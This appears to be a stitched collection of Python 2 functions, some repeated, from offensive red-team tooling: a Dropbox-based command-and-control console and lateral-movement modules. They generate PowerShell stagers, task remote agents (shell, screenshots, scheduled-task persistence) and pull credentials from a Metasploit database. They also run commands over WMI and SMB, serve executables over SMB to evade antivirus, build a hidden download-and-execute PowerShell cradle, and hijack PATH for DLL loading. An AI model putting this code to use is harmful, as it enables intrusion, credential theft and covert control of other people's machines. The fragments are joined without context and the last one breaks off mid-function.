def genStager(self, stagerType, stageName): # These are the common parameters required by the various stager (powershell or other) script stagerParameters = { 'stagePublicURL': self.statusHandler.publishedStageList[stageName], 'xorKey': Crypto.convertKey(self.statusHandler.masterKey, outputFormat = "sha256"), 'masterKey': helpers.b64encode(self.statusHandler.masterKey), 'accessToken': self.dropboxHandler.token } if stagerType == "oneliner": print print helpers.color(stagers.GenStager.oneLiner(stagerParameters), 'green') print print helpers.color("[*] HINT: You can use this powershell oneliner as is, or with one of the fantastic 'Nishang' client side attack vector generator") return elif stagerType == "batch": stagers.GenStager.batch(stagerParameters) return elif stagerType == "batch2": stagers.GenStager.batch2(stagerParameters) return elif stagerType == "macro": stagers.GenStager.macro(stagerParameters) return elif stagerType == "msbuild": stagers.GenStager.msbuild(stagerParameters) return elif stagerType == "javascript": stagers.GenStager.javascript(stagerParameters) return elif stagerType == "javascript2": stagers.GenStager.javascript2(stagerParameters) return elif stagerType == "ducky": stagers.GenStager.ducky(stagerParameters) return elif stagerType == "sct": stagers.GenStager.sct(stagerParameters) return
def getMSFHosts(self): """ Query the MSF database for unique hosts and return them as a list. """ if not self.conn or self.conn.closed == "1": print helpers.color( "\n [!] Not currently connected to the MSF database\n", warning=True) return "" else: # get a cursor for our database connection cur = self.conn.cursor() # execute the query for unique host addresses cur.execute('SELECT DISTINCT address from %s.public.hosts;' % self.databasename) # get ALL the results and close off our cursor results = cur.fetchall() cur.close() # flatten the tuples into a list hosts = [element for tupl in results for element in tupl] return hosts
def run(self): # assume single set of credentials username, password = self.creds[0] trigger_method = "wmis" for target in self.targets: # reg.exe command to query the domain group command = "whoami /user" result = command_methods.executeResult(target, username, password, command, trigger_method) if result == "": self.output += "[!] No result file, query for domain sid '" + group + "'' failed on " + target + "\n" else: sid = "" for line in result.split("\n"): if "S-" in line: user, sid_full = line.split() # extract the domain sid from the results sid = "-".join(sid_full.split("-")[:-1]) print helpers.color("\n\n [*] Domain sid: " + sid) time.sleep(2) self.output += "[*] Domain sid extracted using creds '" + username + ":" + password + "' on " + target + ": " + sid + "\n" if sid == "": self.output += "[!] Couldn't extract domain sid from results using creds '" + username + ":" + password + "' on " + target + "\n"
def getMSFCreds(self): """ Query the MSF database for credentials and return them as a list. """ if not self.conn or self.conn.closed == "1": print helpers.color( "\n [!] Not currently connected to the MSF database\n", warning=True) return "" else: # get a cursor for our database connection cur = self.conn.cursor() # execute the query for creds -> gotta join the creds, services and hosts tables cur.execute( 'SELECT hosts.address, services.port, creds.user, creds.pass FROM msf3.public.creds creds INNER JOIN msf3.public.services services on creds.service_id = services.id INNER JOIN msf3.public.hosts on services.host_id = hosts.id;' ) # get ALL the results and close off our cursor creds = cur.fetchall() cur.close() return creds
def do_cli(self, args): """Switches to the CLI command mode to task current agent with some CLI commands (cmd.exe)""" if not self.currentAgentID: print(helpers.color("[!] No agent selected.\nUse the 'list' command to get the list of available agents, then 'use' to select one")) return print helpers.color("[*] Switching to CLI mode") print helpers.color("[*] Use the command 'back' to exit CLI mode") while True: cli = raw_input("[{}-cli]#> ".format(self.currentAgentID)) if cli: if cli == 'back': return else: request = helpers.b64encode('cli')+'|'+helpers.b64encode(cli) # Send message to the main thread for dispatching self.c2mQueue.put({'type': 'request', 'value': request}) # Wait for main thread's answer, block until we get an answer response = self.m2cQueue.get() if response['type'] == 'response': print helpers.b64decode(response['value']) elif response['type'] == 'disconnected': self.prompt = "[no agent]#> " self.currentAgentID = None return
def deleteFileConn(smbConn, share, fileName): """ Deletes the specified share\\fileName from an established SMB connection. Returns "success" if file is uploaded, "" otherwise """ # if the share isn't specified, default to C$ if not share or share == "": share = "C$" # get the remote IP for this smb connection target = smbConn.getRemoteHost() try: try: # issue the smb command to delete the file smbConn.deleteFile(share,fileName) print helpers.color("\n [*] File "+share+"\\"+fileName+" successfully deleted from "+target) return "success" # sanity check in case 'fileName' doesn't exist except IOError as e: print helpers.color("\n [!] File "+fileName+" doesn't exist!", warning=True) # try to do a bit of error handling except Exception as e: if "The NETBIOS connection with the remote host timed out" in str(e): print helpers.color("\n [!] The NETBIOS connection with "+target+" timed out", warning=True) elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): print helpers.color("\n [!] SMB file delete of "+fileName+" unsuccessful on " + target + " : file not found!", warning=True) else: print helpers.color("\n [!] SMB file delete of "+fileName+" unsuccessful on " + target, warning=True) return ""
def executeResult(target, username, password, cmd, triggerMethod="wmis", pause=1): """ This is one of the main command interface method everyone should use! Wrapper to call wmisExecuteResult() or winexeExecuteResult() depending on the trigger method passed, defaulting to 'wmis'. 'pause' is the number of seconds between execution of the command and the grabbing of the temporary file, defaults to 1 second Returns the result of the command on success, and "failure" on failure. """ if triggerMethod.lower() == "wmis": return wmisExecuteResult(target, username, password, cmd, pause) elif triggerMethod.lower() == "winexe": return winexeExecuteResult(target, username, password, cmd, pause) elif triggerMethod.lower() == "smbexec": return smbexecExecuteResult(target, username, password, cmd) else: print helpers.color( " [!] Error: please specify wmis, winexe, or smbexec for a trigger method", warning=True) return "failure"
def run(self): # assume single set of credentials username, password = self.creds[0] triggerMethod = self.required_options["trigger_method"][0] outFile = self.required_options["out_file"][0] if "\\" not in outFile: # otherwise assume it's an absolute path outFile = "C:\\Windows\\Temp\\" + outFile for target in self.targets: targetUsernames = [] command = "echo IPCONFIG:>>%(p)s&ipconfig /all>>%(p)s&echo ARP:>>%(p)s&arp -a>>%(p)s&echo NET USERS:>>%(p)s&net users>>%(p)s&echo NET SESSIONS:>>%(p)s&net sessions>>%(p)s&echo QWINSTA:>>%(p)s&qwinsta>>%(p)s&echo NETSTAT:>>%(p)s&netstat -nao>>%(p)s&echo TASKLIST:>>%(p)s&tasklist /v>>%(p)s&echo SYSTEMINFO:>>%(p)s&systeminfo>>%(p)s" %{"p":outFile} # execute the command result = command_methods.executeCommand(target, username, password, command, triggerMethod) # wait 20 seconds for "systeminfo" to run print helpers.color("\n [*] Waiting 20 seconds for enumeration commands to run on '"+target+"'", status=True) time.sleep(20) # # grab the output file and delete it out = smb.getFile(target, username, password, outFile, delete=True) if out != "": # save the file off to the appropriate location saveFile = helpers.saveModuleFile(self, target, "enum_host.txt", out) self.output += "[*] enum_host results using creds '"+username+":"+password+"' on "+target+" stored at "+saveFile+"\n" else: self.output += "[!] enum_host failed using creds '"+username+":"+password+"' on "+target+" : no result file\n"
def getMSFCreds(self): """ Query the MSF database for credentials and return them as a list. """ if not self.conn or self.conn.closed == "1": print helpers.color("\n [!] Not currently connected to the MSF database\n", warning=True) return "" else: # get a cursor for our database connection cur = self.conn.cursor() # execute the query for creds -> gotta join the creds, services and hosts tables #cur.execute('SELECT hosts.address, services.port, creds.user, creds.pass FROM %s.public.creds creds INNER JOIN %s.public.services services on creds.service_id = services.id INNER JOIN %s.public.hosts on services.host_id = hosts.id;' % tuple([self.databasename]*3)) # Above is the previous check. The current structure uses the tables and joins as below. cur.execute('SELECT realms.value, services.port, publics.username, privates.data FROM %s.public.metasploit_credential_cores cores \ LEFT JOIN %s.public.metasploit_credential_privates privates ON cores.private_id = privates.id \ LEFT JOIN %s.public.metasploit_credential_publics publics ON cores.public_id = publics.id \ LEFT JOIN %s.public.metasploit_credential_origin_services oservices ON cores.origin_id = oservices.id \ LEFT JOIN %s.public.services ON oservices.service_id = services.id \ LEFT JOIN %s.public.metasploit_credential_realms realms ON cores.realm_id = realms.id;' % tuple([self.databasename]*6)) # get ALL the results and close off our cursor creds = cur.fetchall() cur.close() return creds
def run(self): # assume single set of credentials username, password = self.creds[0] trigger_method = "wmis" for target in self.targets: # reg.exe command to query the domain group command = "whoami /user" result = command_methods.executeResult(target, username, password, command, trigger_method) if result == "": self.output += "[!] No result file, query for domain sid '"+group+"'' failed on " + target + "\n" else: sid = "" for line in result.split("\n"): if "S-" in line: user,sid_full = line.split() # extract the domain sid from the results sid = "-".join(sid_full.split("-")[:-1]) print helpers.color("\n\n [*] Domain sid: "+sid) time.sleep(2) self.output += "[*] Domain sid extracted using creds '"+username+":"+password+"' on " + target + ": "+sid+"\n" if sid == "": self.output += "[!] Couldn't extract domain sid from results using creds '"+username+":"+password+"' on " + target + "\n"
def taskAgentWithLaunchProcess(self, exePath, parameters): # Create a task task = self.statusHandler.createTask(self.agentID, "launchProcess", args=[exePath, parameters]) # Prepare the task format, then put the task into the command file data = "launchProcess\n{}\n{}\n{}\n{}".format(task['id'], exePath, parameters, helpers.randomString(16)) aes = AES.new(key, AES.MODE_CBC, iv) encoder = PKCS7Encoder() pad_text = encoder.encode(data) cipher = aes.encrypt(pad_text) decodedData = base64.b64encode(cipher) r = self.dropboxHandler.putFile( self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), decodedData) if r is not None: # Commit this task for the current agent self.statusHandler.commitTask(task) print helpers.color( "[+] Agent with ID [{}] has been tasked with task ID [{}]". format(self.agentID, task['id'])) else: print helpers.color("[!] Error tasking agent with ID [{}]".format( self.agentID))
def getMSFCreds(self): """ Query the MSF database for credentials and return them as a list. """ if not self.conn or self.conn.closed == "1": print helpers.color( "\n [!] Not currently connected to the MSF database\n", warning=True) return "" else: # get a cursor for our database connection cur = self.conn.cursor() # execute the query for creds -> gotta join the creds, services and hosts tables #cur.execute('SELECT hosts.address, services.port, creds.user, creds.pass FROM %s.public.creds creds INNER JOIN %s.public.services services on creds.service_id = services.id INNER JOIN %s.public.hosts on services.host_id = hosts.id;' % tuple([self.databasename]*3)) # Above is the previous check. The current structure uses the tables and joins as below. cur.execute( 'SELECT realms.value, services.port, publics.username, privates.data FROM %s.public.metasploit_credential_cores cores \ LEFT JOIN %s.public.metasploit_credential_privates privates ON cores.private_id = privates.id \ LEFT JOIN %s.public.metasploit_credential_publics publics ON cores.public_id = publics.id \ LEFT JOIN %s.public.metasploit_credential_origin_services oservices ON cores.origin_id = oservices.id \ LEFT JOIN %s.public.services ON oservices.service_id = services.id \ LEFT JOIN %s.public.metasploit_credential_realms realms ON cores.realm_id = realms.id;' % tuple([self.databasename] * 6)) # get ALL the results and close off our cursor creds = cur.fetchall() cur.close() return creds
def run(self): # assume single set of credentials (take the first one) username, password = self.creds[0] triggerMethod = self.required_options["trigger_method"][0] lhost = self.required_options["lhost"][0] for target in self.targets: existingPath, newPath = "", "" # reg.exe to get the current path pathCMD = "reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /v Path" pathResult = command_methods.executeResult(target, username, password, pathCMD, triggerMethod) # parse the PATH output parts = pathResult.split("\r\n") # check if we get a valid result if parts[1].startswith("HKEY"): regParts = parts[2].split() existingPath = " ".join(regParts[2:]) if existingPath != "": newPath = "\\\\" + lhost + "\\system\\;" + existingPath else: print helpers.color(" [!] Error: No path found\n", warning=True) regCMD = "REG ADD \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /v Path /t REG_EXPAND_SZ /f /d \"" + newPath + "\"" regResult = command_methods.executeResult(target, username, password, regCMD, triggerMethod) if regResult == "": self.output += "[!] No result file, reg PATH set failed using creds '" + username + ":" + password + "' on : " + target + "\n" elif "The operation completed successfully." in regResult: self.output += "[*] reg PATH successfully set with \\\\" + lhost + "\\system using creds '" + username + ":" + password + "' on : " + target + "\n" # add in our cleanup command to restore the original PATH cleanupCMD = "REG ADD \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /v Path /t REG_EXPAND_SZ /f /d \"" + existingPath + "\"" self.cleanup += "executeCommand|" + target + "|" + username + "|" + password + "|" + cleanupCMD + "|" + triggerMethod + "\n" # allow \\UNC loading in %PATH% :) regCMD2 = "REG ADD \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\" /v CWDIllegalInDllSearch /t REG_DWORD /f /d 0" regResult2 = command_methods.executeResult( target, username, password, regCMD2, triggerMethod) self.output += "[*] reg command to allow UNC loading successfully set using creds '" + username + ":" + password + "' on : " + target + "\n" # cleanup -> make everything more secure by disable UNC/SMB loading cleanupCMD2 = "REG ADD \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\" /v CWDIllegalInDllSearch /t REG_DWORD /f /d 2" self.cleanup += "executeCommand|" + target + "|" + username + "|" + password + "|" + cleanupCMD2 + "|" + triggerMethod + "\n" else: self.output += "[!] reg PATH set failed using creds '" + username + ":" + password + "' on : " + target + "\n" # print a message if command succeeded on at least one box if self.output != "": self.output += "[*] run ./tools/dll_monitor.py to monitor for .dll hijacking"
def do_sleep(self, args): """sleep <amount of time>\nInstruct the current agent to sleep for a given amount of time. Amount of time is a combination of days, hours and minutes:\nsleep [0-infinite]d[0-23]h[0-59]m\nExample:\nsleep 1d12h45m""" if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID): print helpers.color("[!] Agent can't be tasked (either because it's DEAD or already tasked with something)") return # Checking args if not args: print helpers.color("[!] Missing arguments. Command format: sleep <amount of time>") return try: days = args[0:args.index('d')] hours = args[args.index('d')+1:args.index('h')] minutes = args[args.index('h')+1:args.index('m')] except ValueError: print helpers.color("[!] Wrong format for 'amount of time'. Must be a combination of days, hours and minutes:\nsleep [0-infinite]d[0-23]h[1-59]m\nExample: sleep 1d12h45m") return if not helpers.stringIsInt(days) or not helpers.stringIsInt(hours) or not helpers.stringIsInt(minutes): print helpers.color("[!] Wrong format for 'amount of time'. Must be a combination of days, hours and minutes:\nsleep [0-infinite]d[0-23]h[1-59]m\nExample: sleep 1d12h45m") return sleepTime = int(days)*86400 + int(hours)*60 + int(minutes) if sleepTime == 0: print helpers.color("[!] Wrong 'amount of time': Agent cannot sleep for 0 minute, must be at least 1 minute") else: self.agentHandler.taskAgentWithSleep(sleepTime)
def do_polling(self, args): """polling <period> [deviation]\nSet the current agent polling period (seconds), with an optionnal deviation (percentage) between 10 and 50""" if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID): print helpers.color( "[!] Agent can't be tasked (either because it's DEAD or already tasked with something)" ) return # Checking args if not args: print helpers.color( "[!] Missing arguments. Command format: polling <period> [deviation]" ) return arguments = args.split() try: period = int(arguments[0]) deviation = int(arguments[1]) if len(arguments) > 1 else 50 except ValueError: print helpers.color("[!] Arguments must be proper integers") return if period < 0: print helpers.color("[!] Period cannot be a negative number") return if deviation not in range(10, 51): print helpers.color("[!] Deviation can only be between 1 and 50%") return self.agentHandler.taskAgentWithNewPolling(period, deviation)
def do_screenshot(self, args): """screenshot\nTake a screenshot of the agent screen, in JPG format, and download it""" if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID): print helpers.color("[!] Agent can't be tasked, either because it's DEAD or already tasked with something") return self.agentHandler.taskAgentWithScreenshot()
def deletePublishedStage(self, stageName): stageFileName = "/" + stageName + ".aa" if self.dropboxHandler.deleteFile(stageFileName) is not None: self.statusHandler.removeStage(stageName) print helpers.color("[*] Published stage [{}] has been successfully deleted from C2 server".format(stageName)) else: print helpers.color("[!] Error deleting published stage [{}] from C2 server".format(stageName))
def deletePublishedModule(self, moduleName): moduleFileName = "/" + moduleName + ".mm" if self.dropboxHandler.deleteFile(moduleFileName) is not None: self.statusHandler.removeModule(moduleName) print helpers.color("[*] Published module [{}] has been successfully deleted from C2 server".format(moduleName)) else: print helpers.color("[!] Error deleting published module [{}] from C2 server".format(moduleName))
def taskAgentWithRunPSModule(self, moduleName, moduleArgs=None, interact=False): # Construct the powershell code from a template, substituting palceholders with proper parameters parameters = { 'moduleURL': self.statusHandler.publishedModuleList[moduleName], 'moduleName': moduleName } poshCmd = helpers.convertFromTemplate( parameters, cfg.defaultPath['runPSModuleTpl']) if poshCmd == None: return # Add module arguments if ever if moduleArgs: poshCmd += ";Write-Host \"-> Executing module arguments\";{}".format( moduleArgs) # If we want to interact with the PowerShell CLI once the module is loaded, switch to 'shell' mode if interact: self.taskAgentWithShell(poshCmd) else: task = self.statusHandler.createTask(self.agentID, "runPSModule", args=[moduleName, moduleArgs]) # Turn the powershell code into a suitable powershell base64 encoded one line command # base64Payload = helpers.powershellEncode(poshCmd) # Create the final command # cmd = "powershell.exe -NoP -sta -NonI -Enc {}".format(base64Payload) cmd = poshCmd # Prepare the task format, then put the task into the command file data = "runPS\n{}\n{}\n{}".format(task['id'], cmd, helpers.randomString(16)) aes = AES.new(key, AES.MODE_CBC, iv) encoder = PKCS7Encoder() pad_text = encoder.encode(data) cipher = aes.encrypt(pad_text) decodedData = base64.b64encode(cipher) r = self.dropboxHandler.putFile( self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), decodedData) if r is not None: # Commit this task for the current agent self.statusHandler.commitTask(task) print helpers.color( "[+] Agent with ID [{}] has been tasked with task ID [{}]". format(self.agentID, task['id'])) else: print helpers.color( "[!] Error tasking agent with ID [{}]".format( self.agentID))
def do_putFile(self, args): """putFile <local file> [destination directory]\nSend a local file to the current agent. If no destination directory is provided, %TEMP% is used""" if not self.currentAgentID: print helpers.color("[!] No agent selected. Use the 'list' command to get the list of available agents, then 'use' to select one") return # Checking args if not args: print helpers.color("[!] Missing arguments. Command format: putFile <local file> [destination path]") return try: arguments = helpers.retrieveQuotedArgs(args,2) except ValueError as e: print helpers.color("[!] Wrong arguments format: {}".format(e)) return localFile = arguments[0] # Path normalization for Windows if len(arguments) > 1: # Add a trailing backslash if missing and replace forward slashes to backslashes destinationPath = arguments[1].replace("/","\\") + "\\" if arguments[1][-1] != "\\" else arguments[1].replace("/","\\") else: destinationPath = "temp" # Check local file actually exists if os.path.isfile(localFile): fileName = os.path.basename(localFile) # Open local file and base64 encode it try: with open(localFile) as fileHandle: fileBytesEncoded = helpers.b64encode(fileHandle.read()) fileHandle.close() request = helpers.b64encode('tfc22a')+'|' \ +fileBytesEncoded+'|' \ +helpers.b64encode(destinationPath)+'|' \ +helpers.b64encode(fileName) # Send message to the main thread for dispatching self.c2mQueue.put({'type': 'request', 'value': request}) # Wait for main thread's answer response = self.m2cQueue.get() if response['type'] == 'response': print helpers.b64decode(response['value']) elif response['type'] == 'disconnected': self.prompt = "[no agent]#> " self.currentAgentID = None return except IOError: print helpers.color("[!] Could not open or read file [{}]".format(localFile)) else: print helpers.color("[!] Unable to find local file [{}] in the default PATH".format(localFile))
def run(self): # assume single set of credentials username, password = self.creds[0] group = self.required_options["group"][0] triggerMethod = "winexe" for target in self.targets: targetUsernames = [] # reg.exe command to query the domain group # we want to do this on each box so we can operate across domains! command = "net group \"%s\" /domain" % (group) result = command_methods.executeResult(target, username, password, command, triggerMethod) # TODO: sanity check that we get a correct file back? # find the ---------- marker, get the bottom half, split by newline # and extract just the name fields nameParts = result[result.find("-----"):].split("\r\n")[1:-3] for part in nameParts: targetUsernames.extend(part.lower().split()) # check the task list on the host taskListResult = command_methods.executeResult( target, username, password, "tasklist /V /FO CSV", triggerMethod) # check the sessions list on the host sessionsResult = command_methods.executeResult( target, username, password, "qwinsta", triggerMethod) print "" # for each username in our target list, see if they show up in the queried results for u in targetUsernames: if u.lower() in taskListResult.lower(): self.output += "[*] User '%s\\%s' has a process on %s\n" % ( group, u, target) print helpers.color( "\n [*] User '%s\\%s' has a process on %s!" % (group, u, target)) time.sleep(1) if u.lower() in sessionsResult.lower(): self.output += "[*] User '%s\\%s' has a session on %s\n" % ( group, u, target) print helpers.color( " [*] User '%s\\%s' has a session on %s!" % (group, u, target)) time.sleep(1) # if we have no results, add message to the output if self.output == "": self.output = "[!] No users found\n"
def hostTrigger(targets, username, password, exePath, localHost, triggerMethod="wmis", exeArgs=""): """ Spins up an Impacket SMB server and hosts the binary specified by exePath. The specified triggerMethod (default wmis) is then used to invoke a command with the UNC path "\\localHost\\exe" which will invoke the specified executable purely in memory. Note: this evades several AV vendors, even with normally disk-detectable executables #avlol :) This takes 'targets' instead of a single 'target' since we don't want to set up and tear down the local SMB server every time. """ # if we get a single target, make it into a list if type(targets) is str: targets = [targets] # randomize the hosted .exe file name hostedFileName = helpers.randomString() + ".exe" # make the tmp hosting directory if it doesn't already exist if not os.path.exists(settings.TEMP_DIR + "shared/"): os.makedirs(settings.TEMP_DIR + "shared/") # copy the payload to the random hostedFileName in the temp directory os.system("cp "+exePath+" /"+settings.TEMP_DIR+"/shared/" + hostedFileName) # spin up the SMB server server = smb.ThreadedSMBServer() server.start() time.sleep(.5) # build the UNC path back to our host and executable and any specified arguments cmd = "\\\\" + localHost + "\\system\\" + hostedFileName+" "+exeArgs for target in targets: # execute the UNC command for each target command_methods.executeCommand(target, username, password, cmd, triggerMethod) print helpers.color("\n [*] Giving time for commands to trigger...") # sleep so the wmis/winexe commands can trigger and the target # can grab the .exe from the SMB server time.sleep(10) # shut the smb server down server.shutdown() # remove the temporarily hosted files os.system("rm -rf " + settings.TEMP_DIR+"/shared/") # not sure if need to do this to kill off the smb server... # os.kill(os.getpid(), signal.SIGINT) ? # return the randomized name in the calling method later wants # to clean the processes up return hostedFileName
def do_stop(self, args): """stop\nStop the current agent""" if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID): print helpers.color("[!] Agent can't be tasked, either because it's DEAD or already tasked with something") return confirmation = raw_input(helpers.color("[!] Ask remote agent to stop itself? Are you sure? (y/N) ")) if confirmation.lower() == 'y': self.agentHandler.taskAgentWithStop()
def do_cmd(self, args): """Switches to the CLI command mode to task current agent with some CLI commands (cmd.exe)""" if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID): print helpers.color("[!] Agent can't be tasked, either because it's DEAD or already tasked with something") return userCmd = raw_input("Command: ") if userCmd: self.agentHandler.taskAgentWithCLI(userCmd)
def do_persist(self, args): """persist\nEnable agent persistency by the means of a scheduled task""" if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID): print helpers.color("[!] Agent can't be tasked, either because it's DEAD or already tasked with something") return confirmation = raw_input(helpers.color("[!] Set agent persistency? Are you sure? (y/N) ")) if confirmation.lower() == 'y': self.agentHandler.taskAgentWithPersist()
def powershellTrigger(targets, username, password, url, scriptArguments="", triggerMethod="wmis", outFile=None, noArch=False): """ Trigger a specific url to download a powershell script from. url - the full url (http/https) to download the second stage script from scriptArguments - the arguments to pass to the script we're invoking outFile - if you want to the script to output to a file for later retrieval, put a path here noArch - don't do the arch-independent launcher """ # this surpasses the length-limit implicit to smbexec I'm afraid :( if triggerMethod.lower() == "smbexec": print helpers.color( "\n\n [!] Error: smbexec will not work with powershell invocation", warning=True) raw_input(" [*] press any key to return: ") return "" # if we get a single target, make it into a list if type(targets) is str: targets = [targets] # if the url doesn't start with http/https, assume http if not url.lower().startswith("http"): url = "http://" + url if scriptArguments.lower() == "none": scriptArguments = "" # powershell command to download/execute our secondary stage, # plus any scriptArguments we want to tack onto execution (i.e. PowerSploit) # for https, be sure to turn off warnings for self-signed certs in case we're hosting if url.lower().startswith("https"): downloadCradle = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};IEX (New-Object Net.WebClient).DownloadString('" + url + "');" + scriptArguments else: downloadCradle = "IEX (New-Object Net.WebClient).DownloadString('" + url + "');" + scriptArguments # get the encoded powershell command triggerCMD = helpers.encPowershell(downloadCradle, noArch=noArch) # if we want to get output from the final execution, append it if outFile: triggerCMD += " > " + outFile # execute the powershell trigger command on each target for target in targets: print "\n [*] Executing command on " + target out = command_methods.executeCommand(target, username, password, triggerCMD, triggerMethod)
def run(self): # assume single set of credentials username, password = self.creds[0] triggerMethod = self.required_options["trigger_method"][0] spawnHandler = self.required_options["spawn_handler"][0] # create our powershell payload p = virtual.Payload() # pull out any msfpayload payloads/options if self.args.msfpayload: p.shellcode.SetPayload( [self.args.msfpayload, self.args.msfoptions]) # set custom shellcode if specified elif self.args.custshell: p.shellcode.setCustomShellcode(self.args.custshell) # get the powershell command powershellCommand = p.generate() # re-print the title and module name after shellcode generation (Veil-Evasion trashes this) messages.title() sys.stdout.write(" [*] Executing module: " + helpers.color(self.name) + "...") # if we're using Veil-Evasion's generated handler script, try to spawn it if spawnHandler.lower() == "true": # turn the payload shellcode object into a handler script handlerPath = helpers.shellcodeToHandler(p.shellcode) # make sure a handler was returned if handlerPath != "": # command to spawn a new tab cmd = "gnome-terminal --tab -t \"Veil-Pillage Handler\" -x bash -c \"echo ' [*] Spawning Metasploit handler...' && msfconsole -r '" + handlerPath + "'\"" # invoke msfconsole with the handler script in a new tab os.system(cmd) raw_input("\n\n [>] Press enter when handler is ready: ") for target in self.targets: print helpers.color(" [*] Triggering powershell command on " + target) # execute the powershell command on each host command_methods.executeCommand(target, username, password, powershellCommand, triggerMethod) self.output += "[*] Powershell inject command triggered using creds '" + username + ":" + password + "' on " + target + " with " + triggerMethod + "\n" # build our cleanup file -> kill all powershell processes killCMD = "taskkill /f /im powershell.exe" self.cleanup += "executeCommand|" + target + "|" + username + "|" + password + "|" + killCMD + "|" + triggerMethod + "\n"
def taskAgentWithRunPSModule(self, moduleName, moduleArgs=None, interact=False): # Construct the powershell code from a template, substituting palceholders with proper parameters xorKey = Crypto.convertKey(self.statusHandler.masterKey, outputFormat="sha256") parameters = { 'xorKey': xorKey, 'moduleURL': self.statusHandler.publishedModuleList[moduleName] } poshCmd = helpers.convertFromTemplate( parameters, cfg.defaultPath['runPSModuleTpl']) if poshCmd == None: return # Add module arguments if ever if moduleArgs: poshCmd += ";Write-Host \"-> Executing module arguments\";{}".format( moduleArgs) # If we want to interact with the PowerShell CLI once the module is loaded, switch to 'shell' mode if interact: self.taskAgentWithShell(poshCmd) else: task = self.statusHandler.createTask(self.agentID, "runPSModule", args=[moduleName, moduleArgs]) # Turn the powershell code into a suitable powershell base64 encoded one line command base64Payload = helpers.powershellEncode(poshCmd) # Create the final command cmd = "powershell.exe -NoP -sta -NonI -W Hidden -Enc {}".format( base64Payload) # Prepare the task format, then put the task into the command file data = "runCLI\n{}\n{}\n{}".format(task['id'], cmd, helpers.randomString(16)) r = self.dropboxHandler.putFile( self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), Crypto.encryptData(data, self.statusHandler.masterKey)) if r is not None: # Commit this task for the current agent self.statusHandler.commitTask(task) print helpers.color( "[+] Agent with ID [{}] has been tasked with task ID [{}]". format(self.agentID, task['id'])) else: print helpers.color( "[!] Error tasking agent with ID [{}]".format( self.agentID))
def run(self): # assume single set of credentials (take the first one) username, password = self.creds[0] triggerMethod = self.required_options["trigger_method"][0] lhost = self.required_options["lhost"][0] for target in self.targets: existingPath, newPath = "", "" # reg.exe to get the current path pathCMD = "reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /v Path" pathResult = command_methods.executeResult(target, username, password, pathCMD, triggerMethod) # parse the PATH output parts = pathResult.split("\r\n") # check if we get a valid result if parts[1].startswith("HKEY"): regParts = parts[2].split() existingPath = " ".join(regParts[2:]) if existingPath != "": newPath = "\\\\"+lhost+"\\system\\;"+existingPath else: print helpers.color(" [!] Error: No path found\n", warning=True) regCMD = "REG ADD \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /v Path /t REG_EXPAND_SZ /f /d \""+newPath+"\"" regResult = command_methods.executeResult(target, username, password, regCMD, triggerMethod) if regResult == "": self.output += "[!] No result file, reg PATH set failed using creds '"+username+":"+password+"' on : " + target + "\n" elif "The operation completed successfully." in regResult: self.output += "[*] reg PATH successfully set with \\\\"+lhost+"\\system using creds '"+username+":"+password+"' on : " + target + "\n" # add in our cleanup command to restore the original PATH cleanupCMD = "REG ADD \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /v Path /t REG_EXPAND_SZ /f /d \""+existingPath+"\"" self.cleanup += "executeCommand|"+target+"|"+username+"|"+password+"|"+cleanupCMD+"|"+triggerMethod+"\n" # allow \\UNC loading in %PATH% :) regCMD2 = "REG ADD \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\" /v CWDIllegalInDllSearch /t REG_DWORD /f /d 0" regResult2 = command_methods.executeResult(target, username, password, regCMD2, triggerMethod) self.output += "[*] reg command to allow UNC loading successfully set using creds '"+username+":"+password+"' on : " + target + "\n" # cleanup -> make everything more secure by disable UNC/SMB loading cleanupCMD2 = "REG ADD \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\" /v CWDIllegalInDllSearch /t REG_DWORD /f /d 2" self.cleanup += "executeCommand|"+target+"|"+username+"|"+password+"|"+cleanupCMD2+"|"+triggerMethod+"\n" else: self.output += "[!] reg PATH set failed using creds '"+username+":"+password+"' on : " + target + "\n" # print a message if command succeeded on at least one box if self.output != "": self.output += "[*] run ./tools/dll_monitor.py to monitor for .dll hijacking"
def run(self): # assume single set of credentials username, password = self.creds[0] triggerMethod = self.required_options["trigger_method"][0] spawnHandler = self.required_options["spawn_handler"][0] # create our powershell payload p = virtual.Payload() # pull out any msfpayload payloads/options if self.args.msfpayload: p.shellcode.SetPayload([self.args.msfpayload, self.args.msfoptions]) # set custom shellcode if specified elif self.args.custshell: p.shellcode.setCustomShellcode(self.args.custshell) # get the powershell command powershellCommand = p.generate() # re-print the title and module name after shellcode generation (Veil-Evasion trashes this) messages.title() sys.stdout.write(" [*] Executing module: " + helpers.color(self.name) + "...") # if we're using Veil-Evasion's generated handler script, try to spawn it if spawnHandler.lower() == "true": # turn the payload shellcode object into a handler script handlerPath = helpers.shellcodeToHandler(p.shellcode) # make sure a handler was returned if handlerPath != "": # command to spawn a new tab cmd = "gnome-terminal --tab -t \"Veil-Pillage Handler\" -x bash -c \"echo ' [*] Spawning Metasploit handler...' && msfconsole -r '" + handlerPath + "'\"" # invoke msfconsole with the handler script in a new tab os.system(cmd) raw_input("\n\n [>] Press enter when handler is ready: ") for target in self.targets: print helpers.color(" [*] Triggering powershell command on "+target) # execute the powershell command on each host command_methods.executeCommand(target, username, password, powershellCommand, triggerMethod) self.output += "[*] Powershell inject command triggered using creds '"+username+":"+password+"' on "+target+" with "+triggerMethod+"\n" # build our cleanup file -> 